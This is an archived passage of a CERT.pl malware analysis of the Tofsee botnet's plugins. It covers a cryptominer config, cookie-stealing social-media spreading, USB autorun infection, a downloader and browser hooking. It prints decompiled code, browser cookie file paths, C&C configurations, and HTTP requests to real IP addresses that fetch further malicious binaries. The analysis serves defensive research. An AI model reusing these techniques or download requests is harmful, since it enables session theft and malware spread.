{\r\n'cores_gt_1.flags': 'BELOW_NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW',\r\n'cores_gt_1.ifs': 'COND_CORES_GT_1',\r\n'cores_gt_1.path': '%USERPROFILE%\\\\do.exe',\r\n'cores_gt_1.run': '\"%USERPROFILE%\\\\do.exe\" %MINER_LOGIN2 -g yes -t\r\n%MIN1_HALF_NUM_OF_CORES -w 0',\r\n'cores_gt_1.size': '223744',\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 17 of 31\n\n'cores_gt_1.url': 'http://130.185.108.137/pchfv.php',\r\n'download_period': '900',\r\n'grabb.download_id': '10',\r\n'grabb.flags': 'NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW',\r\n'grabb.ifs': '',\r\n'grabb.run': '$grabb',\r\n'grabb.size_max': '350000',\r\n'grabb.size_min': '200000',\r\n'kills': 'litecoin;grabb;',\r\n'litecoin.download_id': '10',\r\n'litecoin.flags': 'NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW',\r\n'litecoin.ifs': '',\r\n'litecoin.path': '%USERPROFILE%\\\\%RND_char[4-6].exe',\r\n'litecoin.run': '',\r\n'litecoin.size_max': '350000',\r\n'litecoin.size_min': '200000',\r\n'litecoin.urls':\r\n'http://103.15.106.221/rnm117.php;http://188.190.114.21/rnm117.php;http://111.121.193.238/rnm117.php',\r\n'needmacrs': '$grabb',\r\n'one_core.flags': 'BELOW_NORMAL_PRIORITY_CLASS CREATE_NO_WINDOW',\r\n'one_core.ifs': '',\r\n'one_core.path': '%USERPROFILE%\\\\do.exe',\r\n'one_core.run': '\"%USERPROFILE%\\\\do.exe\" %MINER_LOGIN2 -g yes -t 1 -w 300',\r\n'one_core.size': '223744',\r\n'one_core.url': 'http://130.185.108.137/pchfv.php',\r\n'tasks': 'grabb',\r\n'version': '9'\r\n}\r\n15. img.dll\r\nThis short plugin processes malicious attachments – encodes them with base64 and appends to emails.\r\nNothing interesting here, as can be seen in hardcoded strings:\r\nPlugin restarted\r\nimg_callback: Loaded value='%s' base64 size=%d macr id=%d\r\nimg_callback: base64_encode error for block name='%s'\r\nimg_callback: Delete value='%s' macr id=%d\r\nimg_callback: required config version=1\r\nimg_callback: Wrong value of param '%s.name'\r\nimg_handler: Can't replace value size=%d. Buffer size=%d very small\r\nConfiguration for this module, fetched from the C\u0026C:\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 18 of 31\n\n'img_cfg': {\r\n'att00.name': '$ATT00$',\r\n'att00.prefix': 'att00_',\r\n'macroses': 'att00',\r\n'version': '1'\r\n}\r\n16. spread.dll\r\nThis plugin is used to spread Tofsee through social media: Facebook, Twitter and Skype communicator.\r\nFirst, it extracts xs, datr, c_user (and more) cookies.\r\nExact method depends on the browser, but generally plugin reads cookies stored on disk by the browser – for\r\nexample cookies.sqlite from \\Mozilla\\Firefox\\Profiles, for Firefox. Supported browsers are Chrome, IE,\r\nFirefox, Safari, and Opera.\r\nAfter that, plugin uses that cookies to impersonate user in facebook API:\r\nstring_ctor(\u0026v119, \"https://m.facebook.com/friends\");\r\nif ( !http_request_process(71, a1, (int)\u0026v119, 0) )\r\n{\r\nlog_raw(dword_2000D178, \"fb: E000\\n\");\r\ngoto REQUEST_FAIL;\r\n}\r\nif ( strcmp(a1 + 1056, \"/login.php?next=\") )\r\n{\r\n++a4[4];\r\ngoto INVALID_CRED;\r\n}\r\n// ...\r\nv57 = wsprintfA(v18, \"fb: %d recipients found\\n\", v56);\r\nList of friends is downloaded through API and a message is sent to them. Format of message is stored in\r\nconfiguration, for example:\r\n‘fb.message1’: ‘%SPRD_TEXT1|%LANG_ID| %SPRD_URL1’\r\nTwitter is handled very similarly: cookies are stolen, followers are downloaded by API call to\r\nhttps://twitter.com/followers, and messages are sent.\r\nVKontakte also seems to be supported, but that functionality is optional and held in another plugin. This\r\nmodule only checks if VK is enabled in config and calls handler (that can be initialized from another plugin),\r\nif it’s defined. Malware creators usually don’t like to attack Russia, so this function is disabled and VKontakte\r\nplugin is not distributed.\r\nPlugin can also spread itself through Skype, but reverse engineering Skype protocol was clearly too hard for\r\nmalware authors, so plugin waits until Skype is started, and then sends windows messages to Skype window:\r\nif ( sub_2000AAE9(lpWideCharStr, L\"Echo\", wcslen(lpWideCharStr), 8) )\r\n{\r\nv3 = wsprintfA(\u0026v10, \"skp: skip '%s'\\n\", \u0026MultiByteStr);\r\nlog(dword_2000D178, (int)\u0026v10, v3);\r\nreturn 0;\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 19 of 31\n\n}\r\nif ( !FindWindowExA(hWndParent, 0, \"TChatEntryControl\", 0) )\r\n{\r\nv3 = wsprintfA(\u0026v10, \"skp: E010. Skip '%s'\\n\", \u0026MultiByteStr);\r\nlog(dword_2000D178, (int)\u0026v10, v3);\r\nreturn 0;\r\n}\r\nif ( sub_20006341(v5, 0, \"TChatRichEdit\", \"TChatRichEdit.UnicodeClass\") )\r\n{\r\n// ...\r\n}\r\nThe plugin has dozens of strings hardcoded, so analyzing it in disassembler is a breeze. Few more interesting\r\ngroups:\r\nReferences to the OCR plugin – to avoid captchas:\r\nocr_type2\r\nocr_timeout2\r\nocr_conn_period2\r\nocr_conn_num2\r\nocr_srvs2\r\nocr_type\r\nocr_timeout\r\nocr_conn_period\r\nocr_conn_num\r\nocr_srvs\r\nFacebook cookies:\r\n.facebook.com\r\n.facebook.com act\r\n.facebook.com x-referer\r\n.facebook.com s\r\n.facebook.com p\r\n.facebook.com sub\r\n.facebook.com presence\r\n.facebook.com lu\r\n.facebook.com fr\r\n.facebook.com datr\r\n.facebook.com xs\r\n.facebook.com c_user\r\nStrings related to Facebook spread:\r\n/a/wall.php?\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 20 of 31\n\nmessage\r\nfb: wall='\r\naction=\"/a/wall.php?\r\nfb_ban='\r\nbecause it has a blocked link\r\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\r\ncaptcha_submit_text\r\ncaptcha_try_audio\r\ncaptcha_try_text\r\n/messages/send/?\r\n\u003cimg src=\"/captcha\r\nname=\"captcha_persist_data\"\r\nfb: %d recipients found\r\nStrings related to cookie stealing:\r\ncookies.sqlite\r\n\\Mozilla\\Firefox\\Profiles\r\n\\Google\\Chrome\\User Data\\Default\\Cookies\r\n\\Opera\\Opera\\cookies4.dat\r\n\\Apple Computer\\Safari\\Cookies\\Cookies.binarycookies\r\nStrings related to Skype hijacking:\r\nSkypePath\r\nTChatRichEdit\r\nTChatRichEdit.UnicodeClass\r\nTChatEntryControl\r\ntSkMainForm.UnicodeClass\r\nTConversationForm.UnicodeClass\r\nTConversationsControl\r\nTwitter cookies:\r\n.twitter.com\r\n.twitter.com lang\r\n.twitter.com twid\r\n.twitter.com original_referer\r\n.twitter.com _twitter_sess\r\n.twitter.com twll\r\n.twitter.com secure_session\r\n.twitter.com remember_checked\r\n.twitter.com k\r\n.twitter.com auth_token\r\n.twitter.com auth_token_session\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 21 of 31\n\n.twitter.com guest_id\r\nAnd Twitter spread:\r\nYou already tweeted that\r\nhttp://twitter.com/i/tweet/create\r\nhttps://twitter.com/i/tweet/create\r\nhttp://twitter.com/followers\r\nhttps://twitter.com/followers\r\nname=\"session[password]\"\r\nname=\"session[username_or_email]\"\r\nhttps://twitter.com/following\r\nFinally, things needed to send stolen cookies somewhere:\r\nContent-Length: %d\r\nSet-Cookie:\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Type: multipart/form-data; boundary=%s\r\nContent-Disposition: form-data; name=\"%s\"\r\nContent-Type:\r\nConnection: Keep-Alive\r\nKeep-Alive: 115\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nCookie:\r\nAccept-Language: en-us\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nReferer: %s\r\nHost: %s\r\nHTTP/1.0\r\nPOST\r\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.25) Gecko/20111212 YFF35\r\nFirefox/3.6.25\r\nMozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)\r\nRich functionality means rich configuration from the C\u0026C:\r\n'sprd1_cfg': {\r\n'fb.message1': '%SPRD_TEXT1|%LANG_ID| %SPRD_URL1',\r\n'fb.message2': '%SPRD_TEXT1|%LANG_ID| %SPRD_URL1',\r\n'fb.ocr_conn_num': '8',\r\n'fb.ocr_conn_num2': '8',\r\n'fb.ocr_conn_period': '60',\r\n'fb.ocr_conn_period2': '60',\r\n'fb.ocr_srvs': '78.129.221.4:18032',\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 22 of 31\n\n'fb.ocr_srvs2': '78.129.221.4:18033',\r\n'fb.ocr_timeout': '120',\r\n'fb.ocr_timeout2': '120',\r\n'fb.ocr_type': '10',\r\n'fb.ocr_type2': '10',\r\n'fb.run_id': '0',\r\n'fb.sleep_max': '100',\r\n'fb.sleep_min': '70',\r\n'needmacrs':\r\n'%LANG_ID;%SPRD_TEXT1;%SPRD_URL1;%SPRD_URL2;%REPLICA_TW;%DATE_TWI',\r\n'skp.message1': '%SPRD_TEXT1|%LANG_ID| %SPRD_URL2',\r\n'skp.run_id': '0',\r\n'skp.sleep_min': '180',\r\n'tasks': 'fb;vk;tw;skp',\r\n'tw.message1': '%SPRD_TEXT2|%LANG_ID|',\r\n'tw.message2': '',\r\n'tw.ocr_conn_num': '8',\r\n'tw.ocr_conn_period': '60',\r\n'tw.ocr_srvs': '78.129.221.4:18032',\r\n'tw.ocr_timeout': '120',\r\n'tw.ocr_type': '10',\r\n'tw.run_id': '0',\r\n'version': '5',\r\n'vk.message1': '%SPRD_TEXT1|%LANG_ID| %SPRD_URL3',\r\n'vk.message2': '%SPRD_TEXT1|%LANG_ID| %SPRD_URL3',\r\n'vk.ocr_conn_num': '8',\r\n'vk.ocr_conn_num2': '8',\r\n'vk.ocr_conn_period': '60',\r\n'vk.ocr_conn_period2': '60',\r\n'vk.ocr_srvs': '78.129.221.4:18032',\r\n'vk.ocr_srvs2': '78.129.221.4:18033',\r\n'vk.ocr_timeout': '120',\r\n'vk.ocr_timeout2': '120',\r\n'vk.ocr_type': '10',\r\n'vk.ocr_type2': '10',\r\n'vk.run_id': '0',\r\n'vk.sleep_max': '200',\r\n'vk.sleep_min': '150'\r\n}\r\n17. spread2.dll\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 23 of 31\n\nThis plugin uses methods more than 15 years old, and tries to spread Tofsee through… infected USB drives!\r\nThis doesn’t sound like an effective idea for A.D. 2017, but despite that, the plugin is still enabled.\r\nFirst it copies malicious binary into RECYCLER\\\u003crandom_gibberish\u003e.exe file on the USB drive, then sets\r\nREADONLY and SYSTEM attributes on that file, and finally writes malicious autorun.inf file:\r\nv11 = CreateFileA(\u0026autorun_inf, 0x40000000u, 0, 0, 2u, 2u, 0);\r\nhFile = v11;\r\nif ( v11 != (HANDLE)-1 )\r\n{\r\nif ( WriteFile(v11, \"[autorun]\\r\\nshellexecute=\", 0x18u, \u0026NumberOfBytesWritten, 0)\r\n\u0026\u0026 WriteFile(hFile, \u0026v25, strlen(\u0026v25), \u0026NumberOfBytesWritten, 0) )\r\n{\r\n++a2[1];\r\nsub_21001855(\"usb: done\\n\");\r\n}\r\nelse\r\n{\r\nv12 = GetLastError();\r\n++a2[2];\r\nv13 = wsprintfA(PathName, \"usb: 020 error=0x%08X\\n\", v12);\r\nsub_21001774(PathName, v13);\r\n}\r\nCloseHandle(hFile);\r\ngoto LABEL_41;\r\n}\r\nv21 = GetLastError();\r\nv19 = \"usb: 030 error=0x%08X\\n\";\r\nThe malicious binary that will be spread is downloaded from the internet (see also sys.dll plugin and\r\n%FIREURL variable).\r\nNothing too interesting in hardcoded strings, except operation logs:\r\nLogBuf::AddText: Buffer cleared!\r\nsprd2: get_fire_exe2 2 returned %d\r\nsprd2: error xrealloc size=%d\r\nsprd2: get_fire_exe2 1 returned %d\r\nsprd2: get_fire_exe2 not faund\r\nusb.load_request\r\nusb.period\r\nusb.work\r\nPlugin restarted\r\n[autorun]\r\nshellexecute=\r\nRECYCLER\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 24 of 31\n\nusb: Drive '%s' found\r\nautorun.inf\r\nConfiguration for this module, fetched from the C\u0026C:\r\n'sprd2_cfg': {\r\n'needmacrs': '%FIREURL',\r\n'usb.load_request': '%FIREURL|*10*|',\r\n'usb.period': '60',\r\n'usb.work': '0',\r\n'version': '2'\r\n}\r\n18. sys.dll\r\nThis plugin seems to be a downloader or rather an updater. It sends requests, depending on a value of the\r\n%FIREURL configuration variable.\r\nExample values of the %FIREURL variable (one per line):\r\n*7*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 103.48.6.13%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n24%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=4\r\n*7*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 45.116.175.151%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n24%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=4\r\n*7*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 123.249.0.20%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n24%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=4\r\n*8*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 103.48.6.13%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n24%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=6\r\n*8*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 45.116.175.151%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n24%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=6\r\n*8*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 123.249.0.20%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n24%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=6\r\n*10*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 103.48.6.13%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n25%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=11\r\n*10*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 45.116.175.151%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n25%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=11\r\n*10*|POST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 123.249.0.20%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n25%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=11\r\nPOST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 103.48.6.13%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n25%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=11\r\nPOST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 45.116.175.151%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n25%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=11\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 25 of 31\n\nPOST /tsone/ajuno.php HTTP/1.0%SYS_RNHost: 123.249.0.20%SYS_RNContent-Type:\r\napplication/x-www-form-urlencoded%SYS_RNContent-Length:\r\n25%SYS_RN%SYS_RNu=name03\u0026p=3sRd6Nf8H\u0026l=11\r\nVariables are expanded recursively, and %SYS_RN means \\r\\n of course, so first possible value can be read\r\nas:\r\nPOST /tsone/ajuno.php HTTP/1.0\r\nHost: 103.48.6.13\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 24\r\nu=name03\u0026p=3sRd6Nf8H\u0026l=4\r\nIf we send this request to that IP address on port 80, we will get yet another malicious binary. Different\r\nrequests lead to different binaries.\r\nIf a request is invalid, or not supported, following image is sent instead:\r\nWe appreciate the humor.\r\nNothing surprising in hardcoded strings:\r\nplg_sys\r\nnames.mode\r\nfire_exe.reload_impuls\r\nfire_exe.reload_after\r\nfire_exe.buf_size\r\nContent-Length:\r\nHost:\r\n%FIREURL\r\nLogBuf::AddText: Buffer cleared!\r\nPlugin restarted\r\nlocalcfg\r\nConfiguration for this module, fetched from the C\u0026C:\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 26 of 31\n\n'sys_cfg': {\r\n'fire_exe.buf_size': '204800',\r\n'fire_exe.reload_after': '43200',\r\n'fire_exe.reload_impuls': '0',\r\n'names.mode': '1',\r\n'version': '1'\r\n}\r\nAdditionally the %FIREURL variable from config is used.\r\n19. webb.dll\r\nThis plugin tries to locate iexplore.exe process. If this succeeds, it injects DLL file called IEStub.dll to this\r\nprocess.\r\nIEStub.dll hooks a lot of functions from iexplorer. List of hooked functions:\r\nwininet.dll:InternetReadFileExW\r\nwininet.dll:InternetReadFileExA\r\nwininet.dll:InternetReadFile\r\nwininet.dll:InternetCloseHandle\r\nwininet.dll:HttpOpenRequestW\r\nwininet.dll:HttpOpenRequestA\r\nuser32.dll:DialogBoxIndirectParamW\r\nuser32.dll:DialogBoxIndirectParamA\r\nuser32.dll:DialogBoxParamW\r\nuser32.dll:DialogBoxParamA\r\nuser32.dll:MessageBoxIndirectW\r\nuser32.dll:MessageBoxIndirectA\r\nuser32.dll:MessageBoxExW\r\nuser32.dll:MessageBoxExA\r\nkernel32.dll:CreateProcessW\r\nkernel32.dll:CreateProcessA\r\nuser32.dll:SetWindowPos\r\nshlwapi.dll:57\r\nshlwapi.dll:52\r\nshlwapi.dll:340\r\nshlwapi.dll:59\r\nuser32.dll:MessageBoxW\r\nuser32.dll:MessageBoxA\r\nadvapi32.dll:RegQueryValueExW\r\nadvapi32.dll:RegQueryValueExA\r\nadvapi32.dll:RegSetValueExW\r\nadvapi32.dll:RegSetValueExA\r\nkernel32.dll:CreateProcessAsUserW\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 27 of 31\n\nkernel32.dll:CreateProcessAsUserA\r\nkernel32.dll:GetProcAddress\r\nkernel32.dll:CreateSemaphoreW\r\nkernel32.dll:CreateSemaphoreA\r\nkernel32.dll:OpenSemaphoreW\r\nkernel32.dll:OpenSemaphoreA\r\nkernel32.dll:CreateEventW\r\nkernel32.dll:CreateEventA\r\nkernel32.dll:OpenEventW\r\nkernel32.dll:OpenEventA\r\nkernel32.dll:CreateMutexW\r\nkernel32.dll:CreateMutexA\r\nkernel32.dll:OpenMutexW\r\nkernel32.dll:OpenMutexA\r\nkernel32.dll:FindFirstFileW\r\nkernel32.dll:FindFirstFileA\r\nkernel32.dll:GetShortPathNameW\r\nkernel32.dll:GetShortPathNameA\r\nkernel32.dll:RemoveDirectoryW\r\nkernel32.dll:RemoveDirectoryA\r\nkernel32.dll:MoveFileExW\r\nkernel32.dll:MoveFileExA\r\nkernel32.dll:MoveFileW\r\nkernel32.dll:MoveFileA\r\nkernel32.dll:GetPrivateProfileStringW\r\nkernel32.dll:GetPrivateProfileStringA\r\nkernel32.dll:WritePrivateProfileStringW\r\nkernel32.dll:WritePrivateProfileStringA\r\nkernel32.dll:DeleteFileW\r\nkernel32.dll:DeleteFileA\r\nkernel32.dll:CreateFileMappingW\r\nkernel32.dll:CreateFileMappingA\r\nkernel32.dll:OpenFileMappingW\r\nkernel32.dll:OpenFileMappingA\r\nkernel32.dll:CopyFileW\r\nkernel32.dll:CopyFileA\r\nkernel32.dll:CreateDirectoryW\r\nkernel32.dll:CreateDirectoryA\r\nkernel32.dll:SetFileAttributesW\r\nkernel32.dll:SetFileAttributesA\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 28 of 31\n\nkernel32.dll:GetFileAttributesW\r\nkernel32.dll:GetFileAttributesA\r\nkernel32.dll:CreateFileW\r\nkernel32.dll:CreateFileA\r\nHooks intercept called functions and can change their parameters. We haven’t analyzed hooks in depth, but\r\nmost of them seem to be loggers intercepting “interesting” data from parameters – We haven’t observed any\r\nweb injects served by Tofsee.\r\nFor completeness, interesting hardcoded strings:\r\ndoc_timeout\r\nstor_data.max_live\r\nstor_data.max_size\r\niexplore.exe\r\nLogBuf::AddText: Buffer cleared!\r\nSOFTWARE\\Microsoft\\Internet Explorer\r\nPlugin restarted\r\ncomctl32.dll\r\nurlmon.dll\r\niertutil.dll\r\nieframe.dll\r\nmshtml.dll\r\nwininet.dll\r\nWbSR11: RegSetValueEx(%s\\%s) err=%d\r\nWbSR10: RegOpenKeyEx(%s) err=%d\r\nfind err=0x%08X dirs='%s'\r\nfind err=0x%08X files='%s'\r\nbigsize dir='%s\\%s'\r\nbigsize file='%s\\%s'\r\nbigsize path='%s\\%s'\r\nJS err=0x%08X\r\nset_break_exp\r\npe_find_str\r\nCCI err=0x%08X\r\nBGHW err=0x%08X\r\nAWBE2 st=%d err=0x%08X\r\n%USERPROFILE%\r\nHistory\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\r\nCookies\r\nUSERPROFILE\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 29 of 31\n\n\\Local Settings\\Temporary Internet Files\r\n\\Local Settings\\History\r\n\\Cookies\r\n\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\r\n\\AppData\\Local\\Microsoft\\Windows\\History\r\n\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\r\nsave key='%s' size=%d objs=%d res=%d\r\nrestore key='%s' not found\r\nrestore key='%s' size=%d objs=%d count=%d\r\nConfiguration for this module, fetched from the C\u0026C:\r\n'webb_cfg': {\r\n'doc_timeout': '120',\r\n'stor_data.max_live': '30',\r\n'stor_data.max_size': '1048576',\r\n'version': '1'\r\n}\r\n20. P2P.dll\r\nOriginal filename: p:\\cmf5\\small2\\plugins\\plg_p2p\\plg_p2p.cpp\r\nThis plugin is rather short. Despite promising name, it’s rather boring – opening a port on a router and\r\nlistening for connection is the most important thing it does. It doesn’t implement any commands, this is left\r\nfor the main module to handle.\r\nLike almost every module, it logs to %TMP%\\log_%s.txt, and when this fails falls back to C:\\log.txt.\r\nAlso adds port mapping using UPnP, in the same way as plugin 4 (proxyR.dll).\r\nConfiguration for this module, fetched from the C\u0026C:\r\n'p2p_cfg': {\r\n'client.timeout_connect': '15',\r\n'client.timeout_read': '45',\r\n'client.timeout_write': '45',\r\n'target.timeout_connect': '15',\r\n'target.timeout_read': '60',\r\n'target.timeout_write': '60',\r\n'version': '1'\r\n},\r\nInteresting strings:\r\np2p_srv\r\nclose client='%s:%d' send=%d recv=%d time=%u id=%05d sock=%05d\r\nloader_id\r\nlocalcfg\r\nclose target='%s:%d' send=%d recv=%d time=%u sock=%05d\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 30 of 31\n\nconnecting target='%s:%d' sock=%05d\r\naccept client='%s:%d' id=%05d sock=%05d\r\np2p_port\r\nSource: https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nhttps://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/\r\nPage 31 of 31",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/"
	],
	"report_names": [
		"a-deeper-look-at-tofsee-modules"
	],
	"threat_actors": [],
	"ts_created_at": 1775434670,
	"ts_updated_at": 1775791259,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b0fe2728d70e44a81bdd4c5ecf6918a5f2519ae9.pdf",
		"text": "https://archive.orkl.eu/b0fe2728d70e44a81bdd4c5ecf6918a5f2519ae9.txt",
		"img": "https://archive.orkl.eu/b0fe2728d70e44a81bdd4c5ecf6918a5f2519ae9.jpg"
	}
}